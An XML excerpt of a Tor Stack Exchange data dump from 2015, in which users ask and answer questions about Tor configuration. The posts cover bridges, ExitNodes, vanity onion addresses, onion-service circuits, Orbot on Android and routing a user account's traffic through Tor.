  <row Id="6681" PostTypeId="1" CreationDate="2015-04-20T05:05:32.340" Score="1" ViewCount="207" Body="&lt;p&gt;Anyone using &lt;a href=&quot;http://www.ebay.com/itm/2-4-touch-screen-worlds-smallest-Waterproof-Android-Dual-SIM-GSM-WIFI-CELLPHONE-/171722724305?pt=LH_DefaultDomain_0&amp;amp;var=&amp;amp;hash=item27fb78d3d1&quot; rel=&quot;nofollow&quot;&gt;tiny&lt;/a&gt; Android &lt;a href=&quot;http://www.ebay.com/itm/Xiaomi-Android-MiBox-Mi-box-HD-Little-Tiny-TV-White-WiFi-Bluetooth-FHD-1080P-PAT-/151651164281?pt=LH_DefaultDomain_0&amp;amp;hash=item234f1d2079&quot; rel=&quot;nofollow&quot;&gt;devices&lt;/a&gt; as Tor routers?  Any comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afaik all these little Android devices have enough CPU and RAM for Tor, so presumably Orbot should work fine too (&lt;a href=&quot;https://tor.stackexchange.com/questions/4231/tor-on-wd-my-cloud-device&quot;&gt;previously&lt;/a&gt;).  It's pretty important they be rootable.  You'd need to tweak Orbot to share the SOCKS port over USB.  Anything else? &lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2021-02-14T05:07:23.750" Title="Android devices as Tor routers" Tags="|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6682" PostTypeId="1" CreationDate="2015-04-20T12:05:26.847" Score="1" ViewCount="10591" Body="&lt;p&gt;this is very strange whenever i go to any web site while using tor it wont let me theres this weird looking monster looking picture which is named monster onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it says with the fellowing 'This is rotten onion.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under United States jurisdiction we are unable to relay to:...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it always shows me that and no one has any idea what im talking about when i ask for help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i seem to remember ones that allowing scripts globally (dangerous) seemed to fix this problem but not any more for whatever reason any help please&#xA;See full content&lt;/p&gt;&#xA;" OwnerUserId="7246" LastActivityDate="2015-06-22T16:25:23.443" Title="need help with ( Tor onion ) theres this error that pops up at sites" Tags="|tor-browser-bundle|help|error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6685" PostTypeId="2" ParentId="6665" CreationDate="2015-04-20T18:02:23.153" Score="2" Body="&lt;p&gt;This is not currently supported by Tor or the Tor Browser. You will most likely have to come up with a solution yourself. A workaround might be pointing Tor Browser at your proxychained Tor.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-20T18:02:23.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6686" PostTypeId="2" ParentId="4398" CreationDate="2015-04-20T19:33:24.437" Score="0" Body="&lt;p&gt;If Orxify anonymizes the traffic on a regular device, it would also do the same on one that has its traffic torrified, just mixing it up more making it in theory safer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, of course open source can be useful, and helpful. If I write a random number generator doesn't matter if it's open source, if its truely random or random enough you cant manipulate it. &lt;/p&gt;&#xA;" OwnerUserId="7251" LastActivityDate="2015-04-20T19:33:24.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6688" PostTypeId="1" AcceptedAnswerId="6694" CreationDate="2015-04-21T12:14:13.583" Score="2" ViewCount="284" Body="&lt;p&gt;Before you say it, this is a partial clone of &lt;a href=&quot;https://tor.stackexchange.com/questions/1333/vanity-onion-address-not-working-properly&quot;&gt;Vanity onion address not working properly&lt;/a&gt;, but bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until maybe a month ago, I had one vanity onion address, which worked beautifully.  About 2 weeks ago I added another vanity address, and both were pointing to the same site and working just fine.  I decided to host both sites on the same port to make my life easier in http.conf land.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After struggling with VirtualHosts (Apache configuration is far from my strong suit) I finally had both domains pointing to separate folders with their directories working properly.  Then I closed Tor Browser and opened it again to double-check, and my original vanity domain wouldn't resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, the second domain works just fine, and the original domain still has the same configuration.  I want to know what troubleshooting steps I should take, considering I can't find a guide for this sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Relevant Code&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;torrc&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\[user]\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;DirReqStatistics 0&#xA;GeoIPFile C:\Users\[user]\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\[user]\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceDir C:\xampp\onion\[service1]&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;HiddenServiceDir C:\xampp\onion\[service2]&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;http.conf&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameVirtualHost *:80&#xA;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;DocumentRoot &quot;C:/xampp/htdocs/&quot;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;ServerName [service2].onion&#xA;ServerAlias [service2].onion *.[service2].onion&#xA;DocumentRoot &quot;C:/xampp/htdocs/sites/[service2].onion/&quot;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;ServerName [service1].onion&#xA;ServerAlias [service1].onion *.[service1].onion&#xA;DocumentRoot &quot;C:/xampp/htdocs/sites/[service1].onion/&quot;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both services have the original (working) &lt;code&gt;hostname&lt;/code&gt; and &lt;code&gt;private_key&lt;/code&gt; generated by Scallion.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-01-12T13:41:48.270" Title="Vanity domain suddenly not working" Tags="|onion-services|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6689" PostTypeId="2" ParentId="6682" CreationDate="2015-04-21T12:46:56.063" Score="2" Body="&lt;p&gt;Sounds like shenanigans, but on whose end I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find another computer, like in a public library.&lt;/li&gt;&#xA;&lt;li&gt;Download Tor Browser Bundle again (from here: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Open it and go to a reliable hidden service (Ahmia Tor Hidden Service Search: &lt;a href=&quot;http://msydqstlz2kzerdg.onion/search/&quot; rel=&quot;nofollow&quot;&gt;http://msydqstlz2kzerdg.onion/search/&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this solves the issue, try running a virus and malware scan on your computer, deleting your Tor Browser Bundle, and re-downloading it again.  Avoid using addons other than the ones installed, and keep NoScript on if at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this did not solve the issue, then you may be getting redirected/intercepted.  Try using a bridge to connect to Tor (see: &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges.html.en&lt;/a&gt;).  If you still have issues, you might need to look at using a pluggable transport (also discussed at previous link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T12:46:56.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6690" PostTypeId="2" ParentId="6546" CreationDate="2015-04-21T12:59:14.513" Score="5" Body="&lt;p&gt;If the above doesn't work, here are the longshots:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try using a different computer.&lt;/strong&gt;  It could be a configuration error.  While most issues stem from the clock/date/timezone as mentioned above, it could be something unforeseen.  Never hurts to check.  Try a library.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If that fixes it, double-check your requirements and try posting your log.  There might be something you missed last time around.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Change your identity.&lt;/strong&gt;  This seems like an obvious step, but just covering the bases.  Exit node blacklisting is rare, but possible, and there might be other factors in the path that are preventing your connection.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use a proxy over clearnet.&lt;/strong&gt;  To make sure that the service isn't actually down, try plugging it into one of the many proxies out there.  One of the more famous is &lt;a href=&quot;http://onion.to/&quot;&gt;onion.to&lt;/a&gt;, but you have options if you search.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Set up bridges and pluggable transports.&lt;/strong&gt;  This shouldn't be necessary if you can connect to some services already, but it's worth a shot.  It'll take some configuring, but if it works, it works.  There's a Tor-provided guide &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#PluggableTransports&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T12:59:14.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6691" PostTypeId="2" ParentId="6679" CreationDate="2015-04-21T13:18:48.577" Score="1" Body="&lt;p&gt;When you say Wordpress, you should clarify: do you mean Wordpress the CMS, or Wordpress.com, the host?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Wordpress the CMS&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Wordpress as a CMS is a freely available tool that can be used to quickly and easily make websites and blogs.  If you're going to host a Wordpress site on the clearnet, you will have to sign up for a hosting account.  This gives you the flexibility to choose a hosting provider with a good track record in security, but still makes you vulnerable to government intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another route to heavily consider is hosting your own Wordpress blog on the deep web.  This limits your readership, but heightens your security greatly.  You can use practically any computer made within the last decade to perform this task, and with a good tutorial you should be up and running within a day at the most, if not hours.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Wordpress.com the Host&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you were referring to Wordpress.com, then you were talking about a company that offers hosting of Wordpress blogs.  From what I've heard from people using Tor Browser with Wordpress.com, the results are far from optimal.  Speeds are slow, and the only security you gain is that Wordpress.com doesn't know where you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're worried about your Wordpress.com account being compromised over Tor, then yes, it's a possibility.  There's something called exit node listening that lets someone at the end of your connection capture your username and password, as well as any other data transferred.  Theoretically, if the runner of said exit node a) knew who you were, b) knew what to capture, and c) was a member of whatever evil organization opposes you, your account could be compromised.  You also run many of the same risks you would on the clearnet; your account could be taken down by petition to Wordpress, or your account could just be hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IP release scenario you described is unlikely to be of much use unless you post information on your blog that could tie you to any specific area.  Tor generates a new path each time you use it, so any IP logs that may be released will show addresses from everywhere.  The JavaScript on the other hand can get nasty.  Tor Browser is pretty good about keeping your privacy, but because JavaScript runs locally it can give actual computer information.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;In Summary&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want security, go with Wordpress as a CMS.  You can download it &lt;a href=&quot;https://wordpress.org/download/&quot; rel=&quot;nofollow&quot;&gt;from Wordpress.org&lt;/a&gt;.  The risk of doxing is minimal, unless you post information that could lead someone to any real-life accounts or information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want readership without using a Tor proxy (which is totally an option) AND you're dead set on Wordpress.com, the best I can say is to watch your back.  It's far from the best option, but if you're careful you can probably be relatively safe.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T13:18:48.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6692" PostTypeId="2" ParentId="6681" CreationDate="2015-04-21T13:28:27.930" Score="1" Body="&lt;p&gt;Disclaimer: I'm not an expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should check out just fine.  My understanding is that Orbot just opens a SOCKS5 proxy on whatever device it's on.  If your phone can do connection sharing, running your traffic through the SOCKS port should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should point out that if your intention is to make a cheap, small Tor proxy device, the Raspberry Pi works better.  Heck, &lt;a href=&quot;https://www.adafruit.com/products/1406&quot; rel=&quot;nofollow&quot;&gt;Adafruit even has a kit&lt;/a&gt;, albeit a little pricier than what's needed.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T13:28:27.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6694" PostTypeId="2" ParentId="6688" CreationDate="2015-04-21T13:45:49.273" Score="0" Body="&lt;p&gt;Propagation.  That was the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Propagation is a terrible thing to pinpoint, especially when one site loads and another does not.  Simply let Tor Browser sit for 30-60 minutes to ensure that the service is propagated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things that I tried (for future reference):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking that both &lt;code&gt;torrc&lt;/code&gt; lines are in the same format.&lt;/li&gt;&#xA;&lt;li&gt;Checking that both &lt;code&gt;http.conf&lt;/code&gt; lines are in the same format.&lt;/li&gt;&#xA;&lt;li&gt;Checking that the server responds to and correctly logs requests.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the requests for the domain aren't being logged, it's likely an issue with Tor.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ensuring a reliable connection (connecting to multiple high-uptime sites).&lt;/li&gt;&#xA;&lt;li&gt;Wiping and reinstalling Tor Browser Bundle (may have helped).&lt;/li&gt;&#xA;&lt;li&gt;Wiping and reinstalling Apache/XAMPP/nginx/IIS/whatever host (I was ready to do this).&lt;/li&gt;&#xA;&lt;li&gt;Rewriting the &lt;code&gt;hostname&lt;/code&gt; and &lt;code&gt;private_key&lt;/code&gt; files for all domains with original generated keys and names.&lt;/li&gt;&#xA;&lt;li&gt;Testing with autogenerated names (allow Tor to set up the name and hash for you, then visit the site).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T13:45:49.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6695" PostTypeId="2" ParentId="6633" CreationDate="2015-04-21T13:56:15.993" Score="0" Body="&lt;p&gt;Like the above, there's no point in using the Tor Browser Bundle if you don't want to use Tor.  It's slow and cumbersome if you don't need the features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try using &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/31.6.0/releasenotes/&quot; rel=&quot;nofollow&quot;&gt;Firefox ESR 31.6.0&lt;/a&gt;, which is what &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45a5-released&quot; rel=&quot;nofollow&quot;&gt;Tor Browser 4.5a5 is based on&lt;/a&gt;.  It should be functionally equivalent, aside from the ability to browse hidden services and connect via Tor not being present.  You can install NoScript as an addon if you still want to disable scripts in Firefox ESR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep the ability to use Tor but want to avoid some hassle with Facebook, in October 2014 &lt;a href=&quot;https://www.facebook.com/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237&quot; rel=&quot;nofollow&quot;&gt;Facebook launched a hidden service&lt;/a&gt;.  I believe accessing Facebook over the Tor hidden service reduces the hassles involved, but I may be mistaken.  Either way, it lets you take advantage of the enhanced security offered by Tor Browser.  The service can be accessed at &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;.  Google has yet to implement a Tor hidden service, so you're out of luck there.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T13:56:15.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6696" PostTypeId="2" ParentId="6619" CreationDate="2015-04-21T14:08:37.530" Score="0" Body="&lt;p&gt;Keep in mind also that Speedtest.net isn't the best speed metric for Tor.  First of all it requires Flash, which can give conflicting data and should NOT be installed on Tor Browser.  Secondly, even if it picks up on a node near the exit, your speed depends on the speed of the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reiterate the other answer, you're sacrificing speed for security.  &lt;strong&gt;There is no &quot;fix&quot;; your connection is running at the speed of the slowest connection in the chain&lt;/strong&gt;.  If your speed is unbearable, you could have a bad &quot;link&quot;; try restarting the browser or creating a new identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and uninstall Flash.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2015-04-21T14:08:37.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6697" PostTypeId="1" CreationDate="2015-04-21T15:44:38.580" Score="2" ViewCount="341" Body="&lt;p&gt;The Tor connection was unstable so I had to use bridges.Got the bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;bridges.torproject.org&lt;/a&gt; and put in the &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;# This works for Ubuntu Linux, adjust the path according to your platform&#xA;ClientTransportPlugin obfs3 exec /usr/bin/obfsproxy managed&#xA;Bridge obfs3 ip:port Hex&#xA;Bridge obfs3 ip:port Hex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I replaced &lt;code&gt;ip:port&lt;/code&gt; and &lt;code&gt;Hex&lt;/code&gt; for privacy reasons. (was it necessary?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor was connecting fast and working until added &lt;code&gt;ExitNodes {US}&lt;/code&gt; at the end of &lt;code&gt;torrc&lt;/code&gt;. after that every time I run Tor it stops at the 50% of connecting process. here's the related part of the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Bootstrapped 50%: Loading relay descriptors&#xA;[notice] No circuits are opened. Relaxed timeout for circuit 3 (a General-purpose client 1-hop circuit in state doing handshakes with channel state open) to 115151ms. However, it appears the circuit has timed out anyway. 0 guards are live.&#xA;[notice] Delaying directory fetches: No running bridges&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to use bridges and &lt;code&gt;ExitNodes&lt;/code&gt; simultaneously?&lt;/p&gt;&#xA;" OwnerUserId="6862" LastActivityDate="2015-04-21T15:44:38.580" Title="connecting issues when setting 'ExitNodes' in torrc" Tags="|configuration|exit-relays|bridge|linux|ubuntu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6700" PostTypeId="1" AcceptedAnswerId="6706" CreationDate="2015-04-21T19:56:44.460" Score="1" ViewCount="801" Body="&lt;p&gt;If accessing an onion service, how much commonality is there between the circuits that connect to the introduction point, the rendezvous point, and the exit node for non-onion service usage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume the user's guard node is the same for all three circuits.  Does the user choose the same node to contact both the introduction point and the rendezvous point?  Is either contacted by the exit node? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious if a malicious hidden services with malicious introduction points can connect activity on the hidden service with activity passing through an exit node. &lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="3731" LastEditDate="2015-04-22T21:18:51.053" LastActivityDate="2015-04-22T21:18:51.053" Title="What circuits connect to the introduction and rendezvous point?" Tags="|exit-relays|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6701" PostTypeId="1" CreationDate="2015-04-21T23:17:05.163" Score="5" ViewCount="3644" Body="&lt;p&gt;I want to add bridges to my expert bundle but have no idea how to create and what to put in the torrc file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, there is no torrc file in the expert bundle, so I assume I have to create it (give me an example of what it should include). I want to use an obfs4 transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually use the expert bundle without being able to see its logs and statuses (it just runs on the background). If there is a solution to this please let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that using the expert bundle might no be good, but I need it for a few applications so please try helping me before you lecture me about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7259" LastEditorUserId="88" LastEditDate="2016-03-11T11:21:13.720" LastActivityDate="2016-03-11T11:21:13.720" Title="Add bridges on expert bundle" Tags="|configuration|windows|pluggable-transports|obfsproxy|obfs4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6703" PostTypeId="1" CreationDate="2015-04-22T02:24:19.957" Score="2" ViewCount="228" Body="&lt;p&gt;I am connected to my university's wifi running on OS X Yosemite 10.10.2 and have downloaded tor, but it has a difficultly connecting to a relay directory. Does this process take a long time or is it possible that I need a bridge to access Tor?&lt;/p&gt;&#xA;" OwnerUserId="7260" LastActivityDate="2016-11-03T13:29:39.693" Title="Tor Connection Problem" Tags="|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6705" PostTypeId="1" CreationDate="2015-04-22T11:22:17.037" Score="2" ViewCount="348" Body="&lt;p&gt;I have Tor running as a system service, but I also want to use Tor Browser Bundle to browse the web.&#xA;This means (I think) that I have two copies of tor running, one as 'debian-tor' and one as 'user'. Because I have two different Tor instances running, I likely have two different guards that I always use at the same time. This is bad because an adversary can now track my physical movements more easily by observing my guards and correlating connections made to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I use Tor Browser Bundle with system tor, without letting the tbb-tor connect to the network?&lt;/p&gt;&#xA;" OwnerUserId="7264" LastEditorUserId="435" LastEditDate="2015-04-24T13:21:42.483" LastActivityDate="2015-08-23T08:42:06.173" Title="Make Tor Browser Bundle use debian-tor tor and not tbb-tor" Tags="|tor-browser-bundle|debian|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6706" PostTypeId="2" ParentId="6700" CreationDate="2015-04-22T12:51:37.690" Score="4" Body="&lt;p&gt;Introduction and Rendezvous points are only used for Hidden Services. The Introduction point is chosen by the Hidden Service and published with the HSDir servers handling the Hidden Service. When a user wants to connect to the Hidden Service, they randomly choose a rendezvous server and ask the Hidden Service (through the introduction point) to connect through the Rendezvous point. Both connections then make a 3 hop circuit, the same as when connecting to an exit node, to that rendezvous point.&lt;/p&gt;&#xA;&lt;h2&gt;Hidden Services:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User -&amp;gt; Guard -&amp;gt; Middle Node -&amp;gt; Middle Node (Exit-Ish) -&amp;gt; Introduction &amp;lt;- Middle Node (Exit-ish) &amp;lt;- Middle Node ` &amp;lt;- Guard &amp;lt;- HS&lt;/li&gt;&#xA;&lt;li&gt;User -&amp;gt; Guard -&amp;gt; Middle Node`` -&amp;gt; Middle Node (Exit-Ish) -&amp;gt; Rendezvous &amp;lt;- Middle Node (Exit-ish) &amp;lt;-Middle Node ``` &amp;lt;- Guard &amp;lt;- HS&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Exit Node:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User -&amp;gt; Guard -&amp;gt; Middle Node -&amp;gt; Exit Node -&amp;gt; Website&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;As noted in the comments below, and in the references material linked, the connection to introduction and rendezvous points is actually a full circuit, so should include 3 hops.&lt;/p&gt;&#xA;&lt;p&gt;In general, the complete connection between client and hidden service consists of 6 relays: 3 of them were picked by the client with the third being the rendezvous point and the other 3 were picked by the hidden service.&lt;/p&gt;&#xA;&lt;p&gt;Regarding whether the middle nodes can be the same, they &lt;em&gt;can&lt;/em&gt; be. As the visitor and the host each choose their 3 nodes in the circuit, they could both choose the same middle nodes. That means that there may be duplicate nodes in the 6 hops, but they would be on different sides of the rendezvous server as each Tor instance would &lt;em&gt;not&lt;/em&gt; choose the same relay twice.&lt;/p&gt;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/hidden-services.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-04-22T19:18:31.977" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6707" PostTypeId="2" ParentId="6703" CreationDate="2015-04-22T12:55:44.450" Score="1" Body="&lt;p&gt;It &lt;em&gt;can&lt;/em&gt; take a while to connect to the relay directory, but you may want to setup a bridge to see if that helps. Educational organizations have a history of blocking Tor access so a bridge may be more successful for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't use the automated bridge setups in the new TorBrowser, you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;visit &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt; to get a bridge&lt;/li&gt;&#xA;&lt;li&gt;send an email to bridges@bridges.torproject.org with the line &quot;get bridges&quot; by itself in the body of the mail. &lt;em&gt;This must be done from a GMail, Yahoo, or RiseUp account&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;ref: &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21" LastActivityDate="2015-04-22T12:55:44.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6708" PostTypeId="2" ParentId="6619" CreationDate="2015-04-22T17:33:05.847" Score="0" Body="&lt;p&gt;Please keep in mind that the way tor works(to ultimately protect you) is by sending your traffic through nodes in the tor network finally exiting on a relay node. This process will naturally cause a higher delay, for which you will experience slower INTERNET. Also as was previously commented, speedtest is not a good way to test the internet, since it will not see your actually IP address, but the one at the exit node. Remember that this does not means your internet speed is lowered.. but is just a reflect that tor is doing it's work on protecting you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another fact, is that tor's speed might improve with more users acting as relay nodes, so please spread the word so Tor can do a better job on keeping us safe.&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-04-22T17:33:05.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6710" PostTypeId="2" ParentId="6705" CreationDate="2015-04-23T00:35:22.030" Score="1" Body="&lt;p&gt;You will use two guards, but for two different types of connections and may not use both simultaneously.I don't see much advantage for your adversary. If you want to be more quiet, you can still add some noise to your connections by adding random tcp trafic (watching video on youtube...).&lt;/p&gt;&#xA;" OwnerUserId="7270" LastActivityDate="2015-04-23T00:35:22.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6711" PostTypeId="2" ParentId="4879" CreationDate="2015-04-23T01:43:20.850" Score="1" Body="&lt;p&gt;You can set the PROXY environment variable to use tor for this account in your &lt;code&gt;~/.bashrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export http_proxy=http://DOMAIN\USERNAME:PASSWORD@SERVER:PORT/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will work for some applications that read those variables but not for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use iptables to filter packet sent by a specific user application. This will work if you run tor as root.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A OUTPUT -o ethX -m owner --uid-owner {USERNAME} -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as servers and applications can be run by root and send TCP packet on user request, you may not be able to block everything. For example if you have a DNS server running on your machine. DNS request will be see by iptables as coming from root.&lt;/p&gt;&#xA;" OwnerUserId="7270" LastEditorUserId="6883" LastEditDate="2015-04-24T08:39:16.283" LastActivityDate="2015-04-24T08:39:16.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
